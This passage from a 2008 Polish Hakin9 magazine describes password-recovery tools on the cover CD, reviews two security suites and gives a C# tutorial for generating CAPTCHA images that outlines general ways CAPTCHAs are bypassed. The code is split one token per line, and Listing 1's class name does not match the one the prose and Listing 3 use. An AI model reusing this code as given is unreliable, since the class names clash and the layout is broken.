wcześniej wyliczone tablice, aby znacznie
przyspieszyć odzyskiwanie 40–bitowych
kluczy. Technologia ta jest dostępna w
wersji Enterprise i odblokowuje chronione
dokumenty w zaledwie kilka minut, a nie dni.
Odzyskiwanie silnych haseł
Jeżeli dokument PDF jest chroniony
silnym kluczem 128–bitowym, Advanced
PDF Password Recovery wykonuje serię
ataków na dokument PDF w celu uzyskania
oryginalnego hasła. Jednak nawet wtedy
nie pozostają Państwo bez wyjścia!
Atak słownikowy
Ludzie tworzą większość haseł na
podstawie słowa lub frazy. Wykonanie
pomyślnego ataku słownikowego przy
użyciu różnych kombinacji przypadków
oraz wariantów słów i znaków, zanim
skorzystamy z wyczerpującego ataku
brute–force, pozwala na znaczną
oszczędność czasu.
Atak typu brute–force
Jeżeli hasło nie istnieje w żadnym ze
słowników, Advanced PDF Password
Recovery sprawdza wszelkie możliwe
kombinacje haseł przeprowadzając atak
Rysunek 1.
Advanced Outlook Express Password Recovery
12
NA CD
HAKIN9 6/2008
brute–force. Wysoko zoptymalizowany
kod niskiego poziomu zapewnia
najlepsze przeprowadzenie, w swojej
klasie, odzyskiwanie hasła metodą
brute–force. Optymalizacja wielowątkowa
zapewnia optymalne wykonanie
we współczesnych wielojądrowych
jednostkach centralnych.
Informacje dodatkowe
Komputery Mac i wirtualne komputery PC:
Advanced PDF Password Recovery nie
działa na wirtualnym komputerze PC oraz
Mac jako na komputerze centralnym.
DRM i wtyczki zabezpieczające innych
dostawców: Advanced PDF Password
Recovery nie obsługuje plików PDF
chronionych przy użyciu technologii
Digital Rights Management (DRM) ani
innych wtyczek zabezpieczających innych
dostawców, takich jak FileOpen (FOPN_
fLock).
Nowa wersja technologii Thunder
Tables™4.0 dostępna w wersji Enterprise
gwarantuje odzyskanie 40–bitowych
plików PDF oraz pozwala na usuwanie
kodu JScript, pól formularzy i podpisów
cyfrowych z plików PDF (dostępne w
wersjach Professional i Enterprise).
ELCOMSOFT DISTRIBUTED
PASSWORD RECOVERY
program do odzyskiwania zapomnianych
haseł do różnych typów dokumentów.
Możliwości programowe :
• odtwarzanie haseł przy pomocy
zintegrowanej mocy wszystkich
komputerów połączonych w sieci
• praca w lokalnych i globalnych sieciach
komputerowych
• zdalne administrowanie serwera do
wyboru haseł
• pozwala na instalację i deinstalację
agentów na odległość
• zmieniać czas pracy agentów i
priorytetu
• uruchamiać agentów i serwer jako
serwisy
• zbiór i analiza statystyk
HDDLIFE
HDDlife to program, który monitoruje
prace naszych dysków twardych pod
kątem ich sprawności i zużycia. Pozwala
ostrzec użytkownika o zbliżającym
się niebezpieczeństwie w postaci
uszkodzenia dysku. Program pokazuje
stan dysku w postaci graficznej, bądź
procentowej. Wszelkie zmiany są na
bieżąco przedstawiane użytkownikowi,
aby ten mógł podjąć odpowiednie
działania.
PARTITION MANAGER
Partition Manager rozbudowany pakiet
do zarządzania dyskiem twardym. Bez
problemu wykonamy obraz dysku bądź
zmienimy parametry dowolnej partycji
na dysku, zachowując przy tym zapisane
na nich pliki. W skład pakietu wchodzą:
BootManager, Partition Manager, Drive
Backup, Disk Wiper, Ext2FS Anywhere,
Encrypted Disk.
PODZIĘKOWANIA
Serdeczne podziekowania dla dystrybutora
Softkey Poland Sp. z o.o.
http://www.softkey.pl/ za udostepnienie
programów na płytę, która jest dołączona
do magazynu.
Żeby uruchomić swój komputer z płyty
hakin9.live, ustaw swój BIOS na
bootowanie z napędu CD-ROM. Po
dokonanych zmianach uruchom
ponownie komputer. Uruchomi się
dytrybucja hakin.live, na której możesz
przećwiczyć techniki prezentowane w
tutorialach. Upewnij się, ze sprawdziłeś
desktopowe foldery – zawierają wiele
dodatkowych materiałów. Zawartość CD
można również przejrzeć w systemie
Windows.
Rysunek 2.
HDDlife
Jeśli nie możesz odczytać zawartości płyty CD, a nie jest ona uszkodzona
mechanicznie, sprawdź ją na co najmniej dwóch napędach CD.
W razie problemów z płytą, proszę napisać pod adres:
cd@software.com.pl
14
NARZĘDZIA
HAKIN9 6/2008
15
NARZĘDZIA
HAKIN9
6/2008
Oprogramowanie firmy Symantec
zawsze cieszyło się dużym
uznaniem wśród użytkowników
komputerów. Jednym z dostępnych pakietów
jest SystemWorksTM. W wersji podstawowej
(Basic Edition) w skład pakietu wchodzą: Norton
UtilitiesTM, Norton GoBackTM, One Button
Checkup oraz System Optimizer.
Instalacja oprogramowania nie sprawia
najmniejszego problemu nawet osobom z
minimalną wiedzą komputerową. Przed jej
rozpoczęciem należy się jednak upewnić, czy
dysponujemy odpowiednią ilością miejsca na
dysku twardym (Norton GoBackTM wymaga 10%
wolnego miejsca na dysku na historię – istnieje
możliwość ręcznego skonfigurowania w trakcie
instalacji). Poszczególne programy mogą być
uruchomione bezpośrednio z dysku CD bez
instalacji (Norton CleanUp, Norton Disk Doctor,
Norton WinDoctor).
Po pomyślnej instalacji dostajemy bogaty
zestaw narzędzi gotowych do optymalizacji
oraz naprawy naszego systemu. Mówiąc
najbardziej ogólnie, możemy podzielić pakiet
na Norton Cleanup oraz Norton Utilities.
Pierwszy zawiera aplikacje pozwalające na
szybkie usunięcie plików tymczasowych,
plików cookie, plików historii internetowej oraz
pamięci podręcznej. Druga grupa jest znacznie
liczniejsza i zawiera narzędzia diagnostyczno-
naprawcze:
Norton Disk Doctor – narzędzie służące do
diagnozowania oraz naprawiania problemów
dotyczących dysków twardych,
Norton System Doctor – monitor systemu,
reagujący natychmiast w przypadku wykrycia
problemu (zarówno powiadomieniem
użytkownika, jak i – w niektórych sytuacjach
– automatyczną naprawą). Aplikacja pozwala na
wybór aktywnych czujników nadzorujących m. in.
dyski twarde, procesor, pamięć i sieć,
Norton WinDoctor – bardzo przydatne
narzędzie, służące do rozwiązywania
najczęstszych problemów występujących w
systemach z rodziny Windows®,
Speed Disk – doskonałe narzędzie, w
pełni zastępujące systemowy defragmentator.
Regularne stosowanie pozwala na znaczne
przyspieszenie naszego komputera oraz
zmniejszenie liczby operacji wykonywanych
przez głowicę dysku,
UnErase Wizard – pozwala na odnalezienie
i odzyskanie plików chronionych przez pakiet
Norton Utilities.
Wspomniany wcześniej Norton GoBack
jest narzędziem służącym do szybkiego
przywrócenia systemu do wcześniejszego
stanu. Pozwala to na naprawę systemu w
przypadku groźnej infekcji przez wirusa,
usunięcie szkód wyrządzonych przez
niebezpieczne oprogramowanie lub po prostu
odzyskanie ważnych, utraconych danych.
Domyślnie w trakcie instalacji GoBack wymaga
10% wolnego miejsca na dysku, co stanowi
dość dużą wartość.
Całość pakietu jest nadzorowana przez
usługę LiveUpdate, która zapewnia uaktualnienia
dla wszystkich komponentów pakietu.
Firma Symantec po raz kolejny stworzyła
znakomity zestaw narzędzi zwiększających
bezpieczeństwo i niezawodność sytemu
operacyjnego. Pakiet SystemWorks został
wydany w 3 wersjach: Basic Edition, Standard
Edition oraz Premier Edition.
W wersji Standard Edition użytkownik
dodatkowo dostaje ochronę poczty
elektronicznej, zabezpieczenie przed
programami typu spyware oraz ochronę
plików ściąganych z Internetu (usuwanie
niebezpiecznych elementów). Premier Edition
zezwala na tworzenie kopii zapasowych
ważnych plików i całych dysków (Norton Ghost).
Pakiet SystemWorks stanowi niezawodne
narzędzie do ochrony systemu operacyjnego
oraz danych. Pozwala na zwiększenie
wydajności systemu. Proste i intuicyjne interfejsy
graficzne stanowią dodatkowy atut. Produkt
firmy Symantec jest idealnym rozwiązaniem
dla każdego użytkownika potrzebującego
kompleksowej ochrony komputera.
Producent
Symantec
System
MS Windows XP
Typ
Oprogramowanie
narzędziowe
Strona dystrybutora
www.softpoint.com.pl
Recenzent
Radosław Matusiak
Norton System Works
– Standard Edition
«««««
OCENA
14
NARZĘDZIA
HAKIN9 6/2008
15
NARZĘDZIA
HAKIN9
6/2008
W dzisiejszych czasach zagrożenia
napływające z Internetu coraz
poważniej dają się nam we znaki.
Każdego dnia, wirusy, konie trojańskie czy inne
robaki powodują utratę danych bądź – co
gorsza – uszkodzenie danego podzespołu
przez precyzyjny atak hakerski. Zapewne w tym
momencie powiesz, że to bzdura, przecież nic się
nie dzieje, jestem wolny i bezpieczny. Ignorowanie
poważnego niebezpieczeństwa, z którym mamy
styczność na co dzień, to największy błąd,
ponieważ zagrożenie jest w pewnym sensie ukryte.
Na pewno słyszałeś nie raz, że lepiej zapobiegać,
niż leczyć – i tu z pomocą przychodzi nam firma
ESET ze swoim najnowszym produktem – ESET
Smart Security, który dziś z miłą chęcią będę
testował. Jest to kompleksowy zestaw do ochrony
naszego komputera, połączenie nowoczesnej
technologii ze skutecznością i niezawodnością.
W skład pakietu ESET Smart Security wchodzą
następujące elementy: ochrona antywirusowa,
antyspyware, filtr antyspamowy i zapora osobista.
Gdy otrzymałem paczkę z oprogramowaniem,
nie mogłem się doczekać na sprawdzenie, jakie
możliwości ono oferuje. Nasuwało się wiele pytań
– czy program spełni moje oczekiwania, czy nie
będzie zużywał zbyt wielu zasobów komputera,
a także czy nie przytłoczy mnie zaawansowaną
konfiguracją? Instalacja przebiega błyskawicznie
i intuicyjnie – potem już tylko restart komputera
i możemy się cieszyć działaniem pakietu. Po
uruchomieniu ów programu ujrzymy estetyczne
menu. Dużym jego plusem jest polska wersja
językowa, co ułatwia konfigurację oraz użytkowanie.
Interfejs, w zależności od naszego wyboru, może
pracować w dwóch trybach: zaawansowanym
i standardowym. W trybie zaawansowanym, w
porównaniu do trybu standardowego, do menu
zostało dodanych kilka opcji.
Od razu po instalacji warto dostosować
program do własnych potrzeb. Na początek
przyjrzyjmy się możliwościom związanym ze
skanowaniem komputera. Do dyspozycji mamy
dwie opcje: skanowanie standardowe, powodujące
automatyczne sprawdzenie całego komputera,
lub niestandardowe – gdzie wybieramy, które dyski
chcemy przeskanować. W opcjach skanowania
możemy zdefiniować, jakie obiekty chcemy
skanować, jakimi metodami, a także określić poziom
leczenia plików. Warto dodać, że program skanuje
nie tylko nasze dyski lokalne, ale także pamięć
operacyjną i wymienne nośniki danych. ESET Smart
Security posiada wbudowane moduły inteligentnego
wykrywania zagrożeń, przez co jego skuteczność jest
większa niż konkurencji.
Wielotrybowość aplikacji objawia się także przy
użytkowaniu zapory osobistej, która może pracować
w dwóch trybach (LAN oraz ogólnodostępowa).
Mamy także możliwość wyboru rodzaju filtrowania
połączenia. W menu zapory znajduje się lista
aplikacji, które w danym momencie korzystają
z Internetu. Program umożliwia zablokowanie
konkretnej aplikacji dostępu do Internetu w dowolnej
chwili, lecz dostrzegam tutaj pewną wadę – a
mianowicie skromny zakres konfiguracji zapory
– także jej funkcjonalność jest ograniczona w
porównaniu do firewalli innych producentów.
Program od chwili zainstalowania na
komputerze pobiera najnowsze bazy sygnatur
wirusów oraz aktualizacje samej aplikacji. Uważam
to za ogromną zaletę i byłem mile zaskoczony
taką wielofunkcyjnością i nowoczesnością
oprogramowania. Brawo!
Przechodzimy do zakładki Narzędzia, która
udostępnia nam listę ostatnich zablokowanych
ataków, plik logów, kwarantannę (i wszystkie zawarte
w niej pliki) czy też harmonogram zadań – gdzie
możemy zaplanować sobie (a w zasadzie aplikacji)
konkretną czynność do wykonania. Bardzo ważnym
aspektem jest udostępnienie możliwości przesłania
podejrzanych plików do analizy pod kątem wykrycia
niebezpieczeństwa. Program ma rozbudowany
system pomocy, gdzie nie tylko znajdziemy
odpowiedzi na najczęściej zadawane pytania, ale też
informacje o rodzajach zagrożeń.
Aplikacja łączy w sobie cechy nowoczesnego
oprogramowania zabezpieczającego, jest prosta
w instalacji, konfiguracja nie przerasta domowych
użytkowników, a intuicyjna obsługa pakietu pozwoli
nawet najmłodszym użytkownikom dbać o
Producent
Eset
System
Windows 2000, XP, 2003 i
Windows Vista
Typ
Pakiet bezpieczeństwa
Strona dystrybutora
www.dagma.com.pl
Recenzent
Patryk Elżanowski
ESET Smart Security
«««««
OCENA
16
POCZĄTKI
HAKIN9 6/2008
P
odczas wypełniania różnorodnych formularzy
na stronach WWW bardzo często musimy
udowodnić, że nie jesteśmy botami. Zwykle
służą do tego specjalnie spreparowane obrazki, z
których przeciętny człowiek powinien bez problemu
odczytać nieco zniekształcony tekst (Rysunek 1).
Taki rodzaj zabezpieczeń przydaje się
szczególnie przy różnego rodzaju rejestracjach,
np. darmowych kont e-mail, lub wypowiedziach
na forach internetowych. Chroni on przed
automatycznym tworzeniem kont przez automaty
(np. roboty spamerskie). Technika ta nosi nazwę
CAPTCHA, co jest skrótem angielskiego określenia
Completely Automated Public Turing Test to Tell
Computers and Humans Apart. Luis von Ahn,
Manuel Blum, Nicholas Hopper i John Langford z
Carnegie Mellon University stworzyli ją na potrzeby
Yahoo. Chcieli w ten sposób ukrócić automatyczne
tworzenie spamerskich kont e-mail na tym portalu.
Na początku CAPTCHA sprawdzała się wyśmienicie.
Jednak – jak to w przyrodzie bywa – każdej akcji
towarzyszy reakcja. Opracowanych zostało kilka
typów ataków, które w mniejszym bądź większym
stopniu umożliwiały obejście tego zabezpieczenia.
Najprostszy atak polega na zatrudnieniu
podstawionych osób, które zakładały konta e-mail
chronione przez system CAPTCHA. W końcu osoby te
były w stanie odczytać zniekształcony tekst. Problem
w tym, że nikt nie będzie chciał robić czegoś takiego
za darmo – należy za to zapłacić, co może okazać
się mało opłacalne dla spamera. Drugi problem to
niska efektywność rozwiązania. Inne, dosyć ciekawe
SŁAWOMIR ORŁOWSKI
Z ARTYKUŁU
DOWIESZ SIĘ
co to jest test CAPTCHA,
jakie są wady i zalety tego
rozwiązania,
jak z poziomu kodu C#
wygenerować obrazek
CAPTCHA,
o klasach platformy .NET
obsługujących grafikę 2D.
CO POWINIENEŚ
WIEDZIEĆ
znać podstawy języka C#
i technologii ASP.NET.
rozwiązanie polega na użyciu podstawionych stron
– najlepiej pornograficznych. Jeśli użytkownik takiego
serwisu WWW zechce obejrzeć jakąś jego część
(zdjęcie), musi wpisać kod z obrazka. Wystarczy, że
obrazek zabezpieczający do takiej strony zostanie
wklejony z formularza znajdującego się na stronie,
którą chcemy zaatakować. Nieświadomy użytkownik
sam rozwiąże za nas zagadkę. Jest to kolejny rodzaj
ataku, w którym wykorzystujemy człowieka. Sprytne,
bardziej efektywne, tańsze – ale czy wystarczająco
skuteczne? Ludzie odpowiedzialni za projekt
CAPTCHA twierdzą, że nie. Spamerzy twierdzą
oczywiście, że tak. Jednak proszę sobie wyobrazić
serwis WWW, w którym za każdym razem, kiedy
chcemy zobaczyć coś nowego, musimy wpisywać
jakiś kod. Wątpię, żeby taka strona przyciągała
wielu użytkowników. Lepszym rozwiązaniem są
programy OCR (ang. Optical Character Recognition),
które za pomocą pewnych algorytmów potrafią
odczytać tekst z obrazka. Oczywiście standardowe
aplikacje OCR nie poradzą sobie z przeciętnym
obrazkiem CAPTCHA. Potrzebne są narzędzia
bardziej wyspecjalizowane, stworzone specjalnie na
potrzeby łamania akurat tego typu zabezpieczeń.
Jednym z takich projektów jest program PWNtcha
(ang. Pretend We’re Not a Turing Computer but a
Human Antagonist). Potrafi on prawdopodobnie
zdekodować tekst pochodzący ze stosunkowo
mało skomplikowanych obrazów. Nie należy jednak
oczekiwać, że poradzi sobie z każdym obrazkiem.
Aby w miarę dobrze działał, należy go dostroić do
konkretnego problemu. Napisałem prawdopodobnie,
Stopień trudności
Test CAPTCHA
Jak odróżnić człowieka od automatu w Internecie? Istnieje prosty
test, który może to sprawdzić. Wystarczy wygenerować obrazek
ze zniekształconym tekstem i kazać użytkownikowi go odczytać.
17
TEST CAPTCHA
HAKIN9
6/2008
ponieważ autor PWNtcha nie udostępnia
tego programu do testów. Jest to dosyć
logiczne, ponieważ narzędzie mogłoby być
użyte przez spamerów. Innym projektem jest
aiCAPTCHA. Używa on algorytmów sztucznej
inteligencji. Nie sądzę jednak, że zostanie
stworzony program, który będzie sobie radził
ze wszystkimi rodzajami obrazków CAPTCHA.
Ostatnio na świecie pojawiło się coraz więcej
przeciwników tego zabezpieczenia. Osoby
niedowidzące mają poważne problemy przy
odczytaniu tekstu. Obrazki te są również
coraz trudniejsze do odczytania przez
dobrze widzące osoby. Taki system wymaga
również od użytkownika pewnej fatygi, a to
może skutecznie zniechęcić użytkowników.
Przecież korzystanie z Internetu powinno być
lekkie, łatwe i przyjemne. Istnieje też sporo
innych, darmowych i komercyjnych rozwiązań
przeciwko botom, jednak test CAPTCHA
nadal jest – i pewnie jeszcze długo będzie
– wykorzystywany.
W tym artykule chciałbym zaproponować
stworzenie własnej klasy, która będzie miała
możliwość generowania obrazków CAPTCHA.
Klasa będzie napisana w języku C#, w
związku z tym będzie ją można używać w
projektach ASP.NET. Użyjemy standardu C#
2.0 i .NET 2.0. Program napisany będzie przy
użyciu Visual C# 2008 Express Edition. Niech
klasa nosi nazwę Captcha i będzie częścią
przestrzeni nazw Hakin9. Na początku
zadeklarujemy pola i konstruktory klasy
(Listing 1.).
Pola
width
i
height
będą
przechowywały odpowiednio szerokość
i wysokość obrazka. Pole
fontSize
odpowiada za wielkość czcionki. Pole
text
zawierać będzie tekst, jaki ma
być umieszczony na obrazku. Pole
random
będzie pomocne przy generacji
liczb pseudolosowych, potrzebnych
do losowego dodawania pewnych
elementów utrudniających programom
OCR odczytanie tekstu. Pora teraz napisać
główną metodę klasy, która będzie
generowała obrazek (Listing 2.).
Metoda ta zwracać będzie obiekt
typu
Bitmap
, czyli mapę bitową. Ponieważ
w definicji klasy zadeklarowaliśmy trzy
konstruktory, na początku metody
Generate
musimy sprawdzić, czy wszystkie wymagane
pola są wypełnione danymi. Jeśli nie,
generowany jest wyjątek. Dalej deklarujemy
egzemplarz klasy
Bitmap
, który zawierać
będzie obrazek. Na jego podstawie budujemy
obiekt klasy
Graphics
, który umożliwi nam
rysowanie. Pole, które będziemy wypełniać
grafiką, definiujemy za pomocą klasy
Rectangle
.
Płótno, na którym będziemy malować,
jest już przygotowane – pora teraz na pędzel.
Użyjemy do tego klasy
HatchBrush
. W
konstruktorze tej klasy przekazujemy styl, kolor
rysowania i kolor podkładu. Zbiór styli zawiera
typ wyliczeniowy
HatchStyle
– mamy
do wyboru aż 56 rodzajów wypełnienia.
Teraz za pomocą referencji
g
wypełniamy
całość obrazka używając do tego metody
FillRectangle
. W tym przypadku wybrany
został styl
SmallConfetti
, ale nic nie stoi
na przeszkodzie, aby Czytelnik przeciążył
metodę
Generate
z argumentem wywołania,
który umożliwi własny wybór stylu. Jest to
Rysunek 2.
Przykładowe użycie klasy
Captcha
Listing 1.
Pola i konstruktory klasy Captcha
using
System
;
using
System
.
Text
;
using
System
.
Drawing
;
using
System
.
Drawing
.
Imaging
;
using
System
.
Drawing
.
Drawing2D
;
namespace
Rysunki
{
public
class
RPicture
{
private
int
width
;
private
int
height
;
private
int
fontSize
;
private
string
text
;
private
Random
random
;
public
RPicture
()
{
random
=
new
Random
();
}
public
RPicture
(
int
_width
,
int
_height
,
int
_fontSize
)
{
random
=
new
Random
();
width
=
_width
;
height
=
_height
;
fontSize
=
_fontSize
;
}
public
RPicture
(
int
_width
,
int
_height
,
int
_fontSize
,
string
_text
)
{
random
=
new
Random
();
width
=
_width
;
height
=
_height
;
fontSize
=
_fontSize
;
text
=
_text
;
}
}
Rysunek 1.
Przykładowe obrazki
zabezpieczające
18
POCZATKI
HAKIN9 6/2008
TEST CAPTCHA
19
HAKIN9
6/2008
bardzo proste ćwiczenie, które może wykonać
Czytelnik samodzielnie.
W kolejnym kroku przygotowujemy napis,
który zostanie umieszczony na obrazku. Klasa
StringFormat
przechowuje informacje
dotyczące formatowania napisu. Z kolei
egzemplarz klasy
GraphicsPath
posłuży
nam do umieszczenia tekstu na obrazku.
Jest to bardzo ciekawa klasa, niezwykle
użyteczna przy tworzeniu fragmentów
aplikacji, które obsługują obiekty graficzne.
Za jej pomocą możemy rysować różnorodne
kształty, wypełniać wnętrza figur itd. Kształty,
w tym również tekst, to skończona sekwencja
połączonych ze sobą linii i łuków. Metodą
AddString
dodajemy napis do obiektu
path
. Jej trzeci argument odpowiada za
styl czcionki. Można wybierać pomiędzy
kursywą, pogrubieniem, przekreśleniem i
podkreśleniem. Jak widać na Listingu 2., style
można ze sobą łączyć. Myślę, że pozostałe
argumenty wywołania nie wymagają opisu.
Dla tekstu tworzymy jeszcze nowy
pędzel. Wybrany został na stałe styl
LargeConfetti
– tak, jak w poprzednim
przypadku można przeciążyć metodę
Generate
, aby przyjmowała jako argument
również ten styl. Tekst powinien być
nieznacznie zaburzony. Posłuży do tego
metoda
Warp
klasy
GraphicsPath
. Jedna
z jej wersji przyjmuje cztery argumenty.
Pierwszym z nich są punkty definiujące
czworościan, który będzie zawierał
zmieniony obrazek. Drugi argument
to obrazek źródłowy, trzeci to macierz
przekształcenia – użyta została macierz
zerowa. Ostatnim argumentem jest typ
wyliczeniowy zawierający dwa sposoby
przekształcania:
Bilinear
i
Perspective
.
Proponuję samemu poeksperymentować
z możliwymi transformacjami. Tutaj zostało
użyte dosyć proste przekształcenie z
elementami losowości.
Po tych czynnościach pozostaje nam
tylko wyświetlić przygotowany tekst za
pomocą metody
FillPath
. Do narysowania
tekstu celowo użyty został nieregularny styl
pędzla oraz zaburzenie tekstu. Utrudni to
programom próbującym zdekodować tekst
odnalezienie liter. W kolejnych dwóch pętlach
dodajemy do obrazka losowe zakłócenia. Jest
to konieczne, ponieważ obrazek generowany
zawsze w ten sam sposób byłby łatwy do
oczytania przez programy, które wystarczyłoby
odpowiednio dostosować. Pierwsza pętla
dodaje wypełnione elipsy umieszczone
w przypadkowych miejscach (metoda
FillEllipse
). Za sprawą odpowiednio
dobranych współczynników elipsy pojawią
się na obrazku jako kropki, które nie będą
utrudniały człowiekowi odczytania tekstu z
Listing 2.
Metoda generująca obrazek CAPTCHA
public
Bitmap
Generate
()
{
if
(
width
==
0
||
height
==
0
||
text
==
null
)
throw
new
NullReferenceException
(
"Please select width, height and text
for image"
);
Bitmap
picture
=
new
Bitmap
(
width
,
height
,
PixelFormat
.
Format32bppArgb
);
Graphics
g
=
Graphics
.
FromImage
(
picture
);
g
.
SmoothingMode
=
SmoothingMode
.
AntiAlias
;
Rectangle
r
=
new
Rectangle
(
0
,
0
,
width
,
height
);
HatchBrush
brush
=
new
HatchBrush
(
HatchStyle
.
SmallConfetti
,
Color
.
LightGray
,
Color
.
White
);
g
.
FillRectangle
(
brush
,
r
);
StringFormat
format
=
new
StringFormat
();
format
.
Alignment
=
StringAlignment
.
Center
;
format
.
LineAlignment
=
StringAlignment
.
Center
;
GraphicsPath
path
=
new
GraphicsPath
();
path
.
AddString
(
text
,
FontFamily
.
GenericSerif
,
(
int
)
FontStyle
.
Bold
+
(
int
)
FontStyle
.
Italic
,
fontSize
,
r
,
format
);
brush
=
new
HatchBrush
(
HatchStyle
.
LargeConfetti
,
Color
.
LightGray
,
Color
.
DarkGray
);
float
r1
=
random
.
Next
(
width
/
8
);
float
r2
=
random
.
Next
(
height
/
4
);
PointF
p1
=
new
PointF
(
0
,
0
);
PointF
p2
=
new
PointF
(
width
,
r2
);
PointF
p3
=
new
PointF
(
r1
,
height
);
PointF
p4
=
new
PointF
(
width
,
height
-
r2
);
PointF
[]
points
=
{
p1
,
p2
,
p3
,
p4
}
;
Matrix
m
=
new
Matrix
();
path
.
Warp
(
points
,
r
,
m
,
WarpMode
.
Perspective
);
g
.
FillPath
(
brush
,
path
);
for
(
int
i
=
0
;
i
<
width
/
3
;
i
++)
g
.
FillEllipse
(
brush
,
new
Rectangle
(
random
.
Next
(
0
,
width
)
,
random
.
Next
(
0
,
height
)
,
random
.
Next
(
1
,
width
/
20
)
,
random
.
Next
(
1
,
width
/
20
)));
for
(
int
i
=
0
;
i
<
width
/
22
;
i
++)
g
.
DrawEllipse
(
new
Pen
(
brush
)
,
(
float
)
random
.
Next
(
0
,
width
)
,
(
float
)
random
.
Next
(
0
,
height
)
,
(
float
)
random
.
Next
(
0
,
width
)
,
(
float
)
random
.
Next
(
0
,
height
));
return
picture
;
}
Listing 3.
Strona obrazek.aspx, generująca testowy obrazek
protected
void
Page_Load
(
object
sender
,
EventArgs
e
)
{
string
tekst
=
"Hakin9"
;
Captcha
image
=
new
Captcha
(
150
,
50
,
38
,
tekst
);
image
.
Generate
()
.
Save
(
Response
.
OutputStream
,
System
.
Drawing
.
Imaging
.
ImageForm
at
.
Jpeg
);
Session
.
Add
(
"tekst"
,
tekst
);
}
Rysunek 3
. Wynik skanowania obrazka
CAPTCHA przy pomocy FineReader
18
POCZATKI
HAKIN9 6/2008
TEST CAPTCHA
19
HAKIN9
6/2008
obrazka. Dobrym pomysłem jest również
umieszczenie pewnych nieregularnych
linii, które nachodzą na napis. Jest to duże
utrudnienie dla botów, oczywiście pod
warunkiem, że linie są rysowane losowo. To
zabezpieczenie realizowane jest w drugiej
pętli, która rysuje losowe elipsy z odpowiednio
dobranymi współczynnikami. Na końcu
metody zwracany jest cały obrazek. I to
wszystko. Klasa do generowania obrazków
CAPTCHA jest już gotowa. Oczywiście można
do niej wprowadzić szereg modyfikacji.
Najlepiej umieścić ją w projekcie aplikacji
Windows, gdzie z łatwością możemy ją
przetestować.
Kolejne zadanie to stworzenie testowego
serwisu WWW, w którym klasa Captcha
zostanie użyta praktycznie. Umieszczamy ją w
projekcie strony ASP.NET. Przypomnę tylko, ze
pliki klas najlepiej umieszczać w podkatalogu
App_Code katalogu projektu. Oczywiście
na potrzeby artykułu serwis będzie bardzo
prosty. Będzie składał się z dwóch stron:
Default.aspx i obrazek.aspx. Pierwsza z nich
jest standardową stroną WWW, natomiast
za pomocą drugiej wygenerujemy testowy
obrazek. Obrazek zwracany będzie jako
odpowiedź. Innym rozwiązaniem może być
tymczasowy zapis obrazka na dysku twardym
serwera, jednak przy sporym ruchu mogłoby
się okazać, że na dysku brakuje miejsca do
zapisu. Strona obrazek.aspx musi zawierać
kod obrazka testowego. Odpowiedni kod
umieścimy w metodzie zdarzeniowej
Page _
Load
(Listing 3.). Jest to jedynie przykład i
pod zmienną
tekst
powinno się podstawić
automatycznie wygenerowany ciąg o danej
długości. W artykule Automatyczna generacja
ciągów (Hakin9 5/2008) przedstawiłem jeden
ze sposobów otrzymania takiego ciągu.
Dalej generowany jest obiekt klasy
Captcha
.
Wygenerowany obrazek od razu zamieniamy
na strumień wyjściowy i pakujemy do formatu
JPEG. Na koniec dodajemy jeszcze zmienną
sesji, która przechowywać będzie tekst
umieszczony na obrazku. Strona Default.aspx
zawierać będzie jedynie cztery kontrolki:
Image1
,
TextBox1
,
Button1
i
Label1
(Listing 4.). Pierwsza z nich wyświetlać będzie
obrazek CAPTCHA. Jej własność
ImageUrl
ustawiamy na obrazek.aspx. Po kliknięciu
przycisku Button1 nastąpi sprawdzenie, czy
tekst wprowadzony do kontrolki
TextBox1
jest
taki sam, jak ten przechowywany w zmiennej
sesji
tekst
(Listing 5.). Serwis WWW w akcji
przedstawia Rysunek 2. Przeprowadźmy
jeszcze prosty test wygenerowanego obrazka.
Użyjemy do tego aplikacji FineReader 9.0 w
wersji Professional. Jest to jeden z najbardziej
popularnych programów typu OCR. Jedna z
jego opcji umożliwia skanowanie obrazków
zapisanych w najpopularniejszych formatach.
Obrazek CAPTCHA wygenerowany za
pomocą stworzonej klasy został zapisany na
dysku jako mapa bitowa. Został następnie
wczytany za pomocą programu FineReader,
po czym dokonano próby odczytania tekstu.
Wynik przedstawia Rysunek 3.
Program nie jest w stanie odczytać
tekstu z obrazka. Oczywiście ten test
należy traktować ostrożnie, ponieważ
FineReader jest zoptymalizowany specjalnie
do pracy biurowej. Pokazuje on jednak,
że standardowe algorytmy OCR w tym
przypadku zawodzą.
Problem odpowiedniego zabezpieczenia
wszelakiego rodzaju formularzy
rejestracyjnych przed automatami używanymi
przez spamerów to poważna sprawa.
Podsumowanie
W zeszłym roku ponad 97% wszystkich
wysłanych maili to niechciana poczta.
Automatyczne wpisy reklamowe na
forach internetowych nie przysparzają
ich administratorom chwały. Sondaże
przeprowadzane w Internecie mogą paść
ofiarą botów. Naturalnie test CAPTCHA
nie rozwiąże tych wszystkich problemów,
może jednak zmniejszyć ich skalę.
Dodatkowo możemy używać odpowiednich
filtrów. Przyznam się, że czasem mam
problemy z prawidłowym odczytaniem
tekstu z obrazka. Potrafi to zirytować wielu
użytkowników. Jednak jeśli może to pomóc
w ograniczeniu działalności spamerów,
warto poświęcić temu kilka sekund i nieco
wysilić swoje zmysły.
Listing 4.
Strona Default.aspx
<%
@
Page
Language
=
"C#"
AutoEventWireup
=
"true"
CodeFile
=
"Default.aspx.cs"
Inherits
=
"_
Default"
%>
<!
DOCTYPE
html
PUBLIC
"
-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/
xhtml1/DTD/xhtml1-transitional.dtd">
<
html
xmlns
=
"http://www.w3.org/1999/xhtml"
>
<
head
runat
=
"server"
>
<
title
>
Untitled
Page
<
/
title
>
<
/
head
>
<
body
>
<
form
id
=
"form1"
runat
=
"server"
>
<
div
>
<
asp
:
Image
ID
=
"Image1"
runat
=
"server"
ImageUrl
=
"obrazek.aspx"
/
>&
nbsp
;<
br
/
>
<
asp
:
TextBox
ID
=
"TextBox1"
runat
=
"server"
><
/
asp
:
TextBox
>
<
asp
:
Button
ID
=
"Button1"
runat
=
"server"
OnClick
=
"Button1_Click"
Text
=
"Sprawdź!"
/
>
<
br
/
>
<
asp
:
Label
ID
=
"Label1"
runat
=
"server"
BackColor
=
"White"
Font
-
Bold
=
"True"
Font
-
Size
=
"Larger"
Text
=
"Label"
><
/
asp
:
Label
><
/
div
>
<
/
form
>
<
/
body
>
<
/
html
>
Listing 5.
Metoda zdarzeniowa Button1_Click
protected
void
Button1_Click
(
object
sender
,
EventArgs
e
)
{
string
pass
=
Session
[
"tekst"
]
.
ToString
();
if
(
TextBox1
.
Text
==
pass
)
Label1
.
Text
=
"Nie jesteś botem !"
;
else
